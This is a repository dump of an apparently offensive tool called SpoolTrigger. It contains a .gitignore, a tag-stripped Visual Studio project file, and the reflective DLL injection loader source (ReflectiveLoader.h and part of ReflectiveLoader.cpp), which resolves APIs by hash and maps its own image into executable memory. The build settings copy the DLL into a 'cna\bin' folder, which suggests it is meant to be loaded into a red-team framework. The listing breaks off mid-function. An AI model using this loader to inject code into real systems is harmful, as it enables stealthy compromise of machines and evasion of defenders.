176 | *.publishproj
177 |
178 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
179 | # checkin your Azure Web App publish settings, but sensitive information contained
180 | # in these scripts will be unencrypted
181 | PublishScripts/
182 |
183 | # NuGet Packages
184 | *.nupkg
185 | # The packages folder can be ignored because of Package Restore
186 | **/[Pp]ackages/*
187 | # except build/, which is used as an MSBuild target.
188 | !**/[Pp]ackages/build/
189 | # Uncomment if necessary however generally it will be regenerated when needed
190 | #!**/[Pp]ackages/repositories.config
191 | # NuGet v3's project.json files produces more ignorable files
192 | *.nuget.props
193 | *.nuget.targets
194 |
195 | # Microsoft Azure Build Output
196 | csx/
197 | *.build.csdef
198 |
199 | # Microsoft Azure Emulator
200 | ecf/
201 | rcf/
202 |
203 | # Windows Store app package directories and files
204 | AppPackages/
205 | BundleArtifacts/
206 | Package.StoreAssociation.xml
207 | _pkginfo.txt
208 | *.appx
209 |
210 | # Visual Studio cache files
211 | # files ending in .cache can be ignored
212 | *.[Cc]ache
213 | # but keep track of directories ending in .cache
214 | !?*.[Cc]ache/
215 |
216 | # Others
217 | ClientBin/
218 | ~$*
219 | *~
220 | *.dbmdl
221 | *.dbproj.schemaview
222 | *.jfm
223 | *.pfx
224 | *.publishsettings
225 | orleans.codegen.cs
226 |
227 | # Including strong name files can present a security risk
228 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
229 | #*.snk
230 |
231 | # Since there are multiple workflows, uncomment next line to ignore bower_components
232 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
233 | #bower_components/
234 |
235 | # RIA/Silverlight projects
236 | Generated_Code/
237 |
238 | # Backup & report files from converting an old project file
239 | # to a newer Visual Studio version. Backup files are not needed,
240 | # because we have git ;-)
241 | _UpgradeReport_Files/
242 | Backup*/
243 | UpgradeLog*.XML
244 | UpgradeLog*.htm
245 | ServiceFabricBackup/
246 | *.rptproj.bak
247 |
248 | # SQL Server files
249 | *.mdf
250 | *.ldf
251 | *.ndf
252 |
253 | # Business Intelligence projects
254 | *.rdl.data
255 | *.bim.layout
256 | *.bim_*.settings
257 | *.rptproj.rsuser
258 | *- Backup*.rdl
259 |
260 | # Microsoft Fakes
261 | FakesAssemblies/
262 |
263 | # GhostDoc plugin setting file
264 | *.GhostDoc.xml
265 |
266 | # Node.js Tools for Visual Studio
267 | .ntvs_analysis.dat
268 | node_modules/
269 |
270 | # Visual Studio 6 build log
271 | *.plg
272 |
273 | # Visual Studio 6 workspace options file
274 | *.opt
275 |
276 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
277 | *.vbw
278 |
279 | # Visual Studio LightSwitch build output
280 | **/*.HTMLClient/GeneratedArtifacts
281 | **/*.DesktopClient/GeneratedArtifacts
282 | **/*.DesktopClient/ModelManifest.xml
283 | **/*.Server/GeneratedArtifacts
284 | **/*.Server/ModelManifest.xml
285 | _Pvt_Extensions
286 |
287 | # Paket dependency manager
288 | .paket/paket.exe
289 | paket-files/
290 |
291 | # FAKE - F# Make
292 | .fake/
293 |
294 | # JetBrains Rider
295 | .idea/
296 | *.sln.iml
297 |
298 | # CodeRush personal settings
299 | .cr/personal
300 |
301 | # Python Tools for Visual Studio (PTVS)
302 | __pycache__/
303 | *.pyc
304 |
305 | # Cake - Uncomment if you are using it
306 | # tools/**
307 | # !tools/packages.config
308 |
309 | # Tabs Studio
310 | *.tss
311 |
312 | # Telerik's JustMock configuration file
313 | *.jmconfig
314 |
315 | # BizTalk build output
316 | *.btp.cs
317 | *.btm.cs
318 | *.odx.cs
319 | *.xsd.cs
320 |
321 | # OpenCover UI analysis results
322 | OpenCover/
323 |
324 | # Azure Stream Analytics local run output
325 | ASALocalRun/
326 |
327 | # MSBuild Binary and Structured Log
328 | *.binlog
329 |
330 | # NVidia Nsight GPU debugger configuration file
331 | *.nvuser
332 |
333 | # MFractors (Xamarin productivity tool) working folder
334 | .mfractor/
335 |
336 | # Local History for Visual Studio
337 | .localhistory/
338 |
339 | # BeatPulse healthcheck temp database
340 | healthchecksdb
341 |
342 | .DS_Store
343 |
--------------------------------------------------------------------------------
/SpoolTrigger/ReflectiveLoader.h:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
29 | #define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
30 | //===============================================================================================//
31 | #define WIN32_LEAN_AND_MEAN
32 | #include
33 | #include
34 |
35 | #include "ReflectiveDLLInjection.h"
36 |
37 | typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR);
38 | typedef FARPROC(WINAPI* GETPROCADDRESS)(HMODULE, LPCSTR);
39 | typedef LPVOID(WINAPI* VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
40 | typedef DWORD(NTAPI* NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
41 |
42 | #define KERNEL32DLL_HASH 0x6A4ABC5B
43 | #define NTDLLDLL_HASH 0x3CFA685D
44 |
45 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
46 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
47 | #define VIRTUALALLOC_HASH 0x91AFCA54
48 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
49 |
50 | #define IMAGE_REL_BASED_ARM_MOV32A 5
51 | #define IMAGE_REL_BASED_ARM_MOV32T 7
52 |
53 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
54 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
55 | #define ARM_MOVW 0xF2400000
56 | #define ARM_MOVT 0xF2C00000
57 |
58 | #define HASH_KEY 13
59 | //===============================================================================================//
60 | #pragma intrinsic( _rotr )
61 |
62 | __forceinline DWORD ror(DWORD d)
63 | {
64 | return _rotr(d, HASH_KEY);
65 | }
66 |
67 | __forceinline DWORD hash(char* c)
68 | {
69 | register DWORD h = 0;
70 | do
71 | {
72 | h = ror(h);
73 | h += *c;
74 | } while (*++c);
75 |
76 | return h;
77 | }
78 | //===============================================================================================//
79 | typedef struct _UNICODE_STR
80 | {
81 | USHORT Length;
82 | USHORT MaximumLength;
83 | PWSTR pBuffer;
84 | } UNICODE_STR, * PUNICODE_STR;
85 |
86 | // WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
87 | //__declspec( align(8) )
88 | typedef struct _LDR_DATA_TABLE_ENTRY
89 | {
90 | //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
91 | LIST_ENTRY InMemoryOrderModuleList;
92 | LIST_ENTRY InInitializationOrderModuleList;
93 | PVOID DllBase;
94 | PVOID EntryPoint;
95 | ULONG SizeOfImage;
96 | UNICODE_STR FullDllName;
97 | UNICODE_STR BaseDllName;
98 | ULONG Flags;
99 | SHORT LoadCount;
100 | SHORT TlsIndex;
101 | LIST_ENTRY HashTableEntry;
102 | ULONG TimeDateStamp;
103 | } LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
104 |
105 | // WinDbg> dt -v ntdll!_PEB_LDR_DATA
106 | typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
107 | {
108 | DWORD dwLength;
109 | DWORD dwInitialized;
110 | LPVOID lpSsHandle;
111 | LIST_ENTRY InLoadOrderModuleList;
112 | LIST_ENTRY InMemoryOrderModuleList;
113 | LIST_ENTRY InInitializationOrderModuleList;
114 | LPVOID lpEntryInProgress;
115 | } PEB_LDR_DATA, * PPEB_LDR_DATA;
116 |
117 | // WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
118 | typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
119 | {
120 | struct _PEB_FREE_BLOCK* pNext;
121 | DWORD dwSize;
122 | } PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
123 |
124 | // struct _PEB is defined in Winternl.h but it is incomplete
125 | // WinDbg> dt -v ntdll!_PEB
126 | typedef struct __PEB // 65 elements, 0x210 bytes
127 | {
128 | BYTE bInheritedAddressSpace;
129 | BYTE bReadImageFileExecOptions;
130 | BYTE bBeingDebugged;
131 | BYTE bSpareBool;
132 | LPVOID lpMutant;
133 | LPVOID lpImageBaseAddress;
134 | PPEB_LDR_DATA pLdr;
135 | LPVOID lpProcessParameters;
136 | LPVOID lpSubSystemData;
137 | LPVOID lpProcessHeap;
138 | PRTL_CRITICAL_SECTION pFastPebLock;
139 | LPVOID lpFastPebLockRoutine;
140 | LPVOID lpFastPebUnlockRoutine;
141 | DWORD dwEnvironmentUpdateCount;
142 | LPVOID lpKernelCallbackTable;
143 | DWORD dwSystemReserved;
144 | DWORD dwAtlThunkSListPtr32;
145 | PPEB_FREE_BLOCK pFreeList;
146 | DWORD dwTlsExpansionCounter;
147 | LPVOID lpTlsBitmap;
148 | DWORD dwTlsBitmapBits[2];
149 | LPVOID lpReadOnlySharedMemoryBase;
150 | LPVOID lpReadOnlySharedMemoryHeap;
151 | LPVOID lpReadOnlyStaticServerData;
152 | LPVOID lpAnsiCodePageData;
153 | LPVOID lpOemCodePageData;
154 | LPVOID lpUnicodeCaseTableData;
155 | DWORD dwNumberOfProcessors;
156 | DWORD dwNtGlobalFlag;
157 | LARGE_INTEGER liCriticalSectionTimeout;
158 | DWORD dwHeapSegmentReserve;
159 | DWORD dwHeapSegmentCommit;
160 | DWORD dwHeapDeCommitTotalFreeThreshold;
161 | DWORD dwHeapDeCommitFreeBlockThreshold;
162 | DWORD dwNumberOfHeaps;
163 | DWORD dwMaximumNumberOfHeaps;
164 | LPVOID lpProcessHeaps;
165 | LPVOID lpGdiSharedHandleTable;
166 | LPVOID lpProcessStarterHelper;
167 | DWORD dwGdiDCAttributeList;
168 | LPVOID lpLoaderLock;
169 | DWORD dwOSMajorVersion;
170 | DWORD dwOSMinorVersion;
171 | WORD wOSBuildNumber;
172 | WORD wOSCSDVersion;
173 | DWORD dwOSPlatformId;
174 | DWORD dwImageSubsystem;
175 | DWORD dwImageSubsystemMajorVersion;
176 | DWORD dwImageSubsystemMinorVersion;
177 | DWORD dwImageProcessAffinityMask;
178 | DWORD dwGdiHandleBuffer[34];
179 | LPVOID lpPostProcessInitRoutine;
180 | LPVOID lpTlsExpansionBitmap;
181 | DWORD dwTlsExpansionBitmapBits[32];
182 | DWORD dwSessionId;
183 | ULARGE_INTEGER liAppCompatFlags;
184 | ULARGE_INTEGER liAppCompatFlagsUser;
185 | LPVOID lppShimData;
186 | LPVOID lpAppCompatInfo;
187 | UNICODE_STR usCSDVersion;
188 | LPVOID lpActivationContextData;
189 | LPVOID lpProcessAssemblyStorageMap;
190 | LPVOID lpSystemDefaultActivationContextData;
191 | LPVOID lpSystemAssemblyStorageMap;
192 | DWORD dwMinimumStackCommit;
193 | } _PEB, * _PPEB;
194 |
195 | typedef struct
196 | {
197 | WORD offset : 12;
198 | WORD type : 4;
199 | } IMAGE_RELOC, * PIMAGE_RELOC;
200 | //===============================================================================================//
201 | #endif
202 | //===============================================================================================//
203 |
--------------------------------------------------------------------------------
/SpoolTrigger/SpoolTrigger.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | {80A14EC7-7999-4828-8C48-13CDA7853E29}
24 | Win32Proj
25 | SpoolTrigger
26 | 10.0
27 |
28 |
29 |
30 | DynamicLibrary
31 | true
32 | v142
33 | Unicode
34 | false
35 |
36 |
37 | DynamicLibrary
38 | false
39 | v142
40 | true
41 | Unicode
42 | false
43 |
44 |
45 | DynamicLibrary
46 | true
47 | v142
48 | Unicode
49 | false
50 |
51 |
52 | DynamicLibrary
53 | false
54 | v142
55 | true
56 | Unicode
57 | false
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 | true
79 |
80 |
81 | true
82 |
83 |
84 | false
85 | $(ProjectName).$(PlatformTarget)
86 |
87 |
88 | false
89 | $(ProjectName).$(PlatformTarget)
90 |
91 |
92 |
93 | Use
94 | Level3
95 | true
96 | WIN32;_DEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
97 | true
98 | pch.h
99 |
100 |
101 | Windows
102 | true
103 | false
104 |
105 |
106 |
107 |
108 | NotUsing
109 | Level3
110 | true
111 | _DEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions)
112 | true
113 | pch.h
114 |
115 |
116 | Windows
117 | true
118 | false
119 |
120 |
121 |
122 |
123 | NotUsing
124 | Level3
125 | true
126 | true
127 | true
128 | WIN32;NDEBUG;WIN_X86;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)
129 | true
130 | pch.h
131 | None
132 |
133 |
134 | Windows
135 | true
136 | true
137 | false
138 | false
139 |
140 |
141 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll"
142 |
143 |
144 |
145 |
146 | NotUsing
147 | Level3
148 | true
149 | true
150 | true
151 | NDEBUG;SPOOLTRIGGER_EXPORTS;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;WIN_X64;%(PreprocessorDefinitions)
152 | true
153 | MultiThreadedDLL
154 | None
155 |
156 |
157 | Windows
158 | true
159 | true
160 | false
161 | false
162 |
163 |
164 | copy /Y "$(TargetDir)$(TargetName).dll" "$(SolutionDir)cna\bin\$(TargetName).dll"
165 |
166 |
167 |
168 |
169 |
170 |
171 |
172 |
173 |
174 |
175 |
176 |
177 |
178 |
179 |
180 |
181 |
182 |
183 |
184 |
--------------------------------------------------------------------------------
/SpoolTrigger/ReflectiveLoader.cpp:
--------------------------------------------------------------------------------
1 | //===============================================================================================//
2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
3 | // All rights reserved.
4 | //
5 | // Redistribution and use in source and binary forms, with or without modification, are permitted
6 | // provided that the following conditions are met:
7 | //
8 | // * Redistributions of source code must retain the above copyright notice, this list of
9 | // conditions and the following disclaimer.
10 | //
11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of
12 | // conditions and the following disclaimer in the documentation and/or other materials provided
13 | // with the distribution.
14 | //
15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to
16 | // endorse or promote products derived from this software without specific prior written permission.
17 | //
18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
26 | // POSSIBILITY OF SUCH DAMAGE.
27 | //===============================================================================================//
28 | #include "ReflectiveLoader.h"
29 | //===============================================================================================//
30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
31 | HINSTANCE hAppInstance = NULL;
32 | //===============================================================================================//
33 | #pragma intrinsic( _ReturnAddress )
34 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally
35 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
36 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
37 | // available (and no inline asm available under x64).
38 | __declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
39 | //===============================================================================================//
40 |
41 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
42 | // otherwise the DllMain at the end of this file will be used.
43 |
44 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
45 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub.
46 |
47 | // This is our position independent reflective DLL loader/injector
48 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
49 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
50 | #else
51 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
52 | #endif
53 | {
54 | // the functions we need
55 | LOADLIBRARYA pLoadLibraryA = NULL;
56 | GETPROCADDRESS pGetProcAddress = NULL;
57 | VIRTUALALLOC pVirtualAlloc = NULL;
58 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
59 |
60 | USHORT usCounter;
61 |
62 | // the initial location of this image in memory
63 | ULONG_PTR uiLibraryAddress;
64 | // the kernels base address and later this images newly loaded base address
65 | ULONG_PTR uiBaseAddress;
66 |
67 | // variables for processing the kernels export table
68 | ULONG_PTR uiAddressArray;
69 | ULONG_PTR uiNameArray;
70 | ULONG_PTR uiExportDir;
71 | ULONG_PTR uiNameOrdinals;
72 | DWORD dwHashValue;
73 |
74 | // variables for loading this image
75 | ULONG_PTR uiHeaderValue;
76 | ULONG_PTR uiValueA;
77 | ULONG_PTR uiValueB;
78 | ULONG_PTR uiValueC;
79 | ULONG_PTR uiValueD;
80 | ULONG_PTR uiValueE;
81 |
82 | // STEP 0: calculate our images current base address
83 |
84 | // we will start searching backwards from our callers return address.
85 | uiLibraryAddress = caller();
86 |
87 | // loop through memory backwards searching for our images base address
88 | // we dont need SEH style search as we shouldnt generate any access violations with this
89 | while (TRUE)
90 | {
91 | if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
92 | {
93 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
94 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
95 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
96 | if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
97 | {
98 | uiHeaderValue += uiLibraryAddress;
99 | // break if we have found a valid MZ/PE header
100 | if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
101 | break;
102 | }
103 | }
104 | uiLibraryAddress--;
105 | }
106 |
107 | // STEP 1: process the kernels exports for the functions our loader needs...
108 |
109 | // get the Process Enviroment Block
110 | #ifdef WIN_X64
111 | uiBaseAddress = __readgsqword(0x60);
112 | #else
113 | #ifdef WIN_X86
114 | uiBaseAddress = __readfsdword(0x30);
115 | #else WIN_ARM
116 | uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
117 | #endif
118 | #endif
119 |
120 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
121 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
122 |
123 | // get the first entry of the InMemoryOrder module list
124 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
125 | while (uiValueA)
126 | {
127 | // get pointer to current modules name (unicode string)
128 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
129 | // set bCounter to the length for the loop
130 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
131 | // clear uiValueC which will store the hash of the module name
132 | uiValueC = 0;
133 |
134 | // compute the hash of the module name...
135 | do
136 | {
137 | uiValueC = ror((DWORD)uiValueC);
138 | // normalize to uppercase if the madule name is in lowercase
139 | if (*((BYTE*)uiValueB) >= 'a')
140 | uiValueC += *((BYTE*)uiValueB) - 0x20;
141 | else
142 | uiValueC += *((BYTE*)uiValueB);
143 | uiValueB++;
144 | } while (--usCounter);
145 |
146 | // compare the hash with that of kernel32.dll
147 | if ((DWORD)uiValueC == KERNEL32DLL_HASH)
148 | {
149 | // get this modules base address
150 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
151 |
152 | // get the VA of the modules NT Header
153 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
154 |
155 | // uiNameArray = the address of the modules export directory entry
156 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
157 |
158 | // get the VA of the export directory
159 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
160 |
161 | // get the VA for the array of name pointers
162 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
163 |
164 | // get the VA for the array of name ordinals
165 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
166 |
167 | usCounter = 3;
168 |
169 | // loop while we still have imports to find
170 | while (usCounter > 0)
171 | {
172 | // compute the hash values for this function name
173 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
174 |
175 | // if we have found a function we want we get its virtual address
176 | if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
177 | {
178 | // get the VA for the array of addresses
179 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
180 |
181 | // use this functions name ordinal as an index into the array of name pointers
182 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
183 |
184 | // store this functions VA
185 | if (dwHashValue == LOADLIBRARYA_HASH)
186 | pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
187 | else if (dwHashValue == GETPROCADDRESS_HASH)
188 | pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
189 | else if (dwHashValue == VIRTUALALLOC_HASH)
190 | pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
191 |
192 | // decrement our counter
193 | usCounter--;
194 | }
195 |
196 | // get the next exported function name
197 | uiNameArray += sizeof(DWORD);
198 |
199 | // get the next exported function name ordinal
200 | uiNameOrdinals += sizeof(WORD);
201 | }
202 | }
203 | else if ((DWORD)uiValueC == NTDLLDLL_HASH)
204 | {
205 | // get this modules base address
206 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
207 |
208 | // get the VA of the modules NT Header
209 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
210 |
211 | // uiNameArray = the address of the modules export directory entry
212 | uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
213 |
214 | // get the VA of the export directory
215 | uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
216 |
217 | // get the VA for the array of name pointers
218 | uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
219 |
220 | // get the VA for the array of name ordinals
221 | uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
222 |
223 | usCounter = 1;
224 |
225 | // loop while we still have imports to find
226 | while (usCounter > 0)
227 | {
228 | // compute the hash values for this function name
229 | dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
230 |
231 | // if we have found a function we want we get its virtual address
232 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
233 | {
234 | // get the VA for the array of addresses
235 | uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
236 |
237 | // use this functions name ordinal as an index into the array of name pointers
238 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
239 |
240 | // store this functions VA
241 | if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
242 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
243 |
244 | // decrement our counter
245 | usCounter--;
246 | }
247 |
248 | // get the next exported function name
249 | uiNameArray += sizeof(DWORD);
250 |
251 | // get the next exported function name ordinal
252 | uiNameOrdinals += sizeof(WORD);
253 | }
254 | }
255 |
256 | // we stop searching when we have found everything we need.
257 | if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
258 | break;
259 |
260 | // get the next entry
261 | uiValueA = DEREF(uiValueA);
262 | }
263 |
264 | // STEP 2: load our image into a new permanent location in memory...
265 |
266 | // get the VA of the NT Header for the PE to be loaded
267 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
268 |
269 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
270 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
271 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
272 |
273 | // we must now copy over the headers
274 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
275 | uiValueB = uiLibraryAddress;
276 | uiValueC = uiBaseAddress;
277 |
278 | while (uiValueA--)
279 | *(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
280 |
281 | // STEP 3: load in all of our sections...
282 |
283 | // uiValueA = the VA of the first section
284 | uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
285 |
286 | // itterate through all sections, loading them into memory.
287 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
288 | while (uiValueE--)
289 | {
290 | // uiValueB is the VA for this section
291 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
292 |
293 | // uiValueC if the VA for this sections data
294 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
295 |
296 | // copy the section over
297 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
298 |
299 | while (uiValueD--)
300 | *(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
301 |
302 | // get the VA of the next section
303 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
304 | }
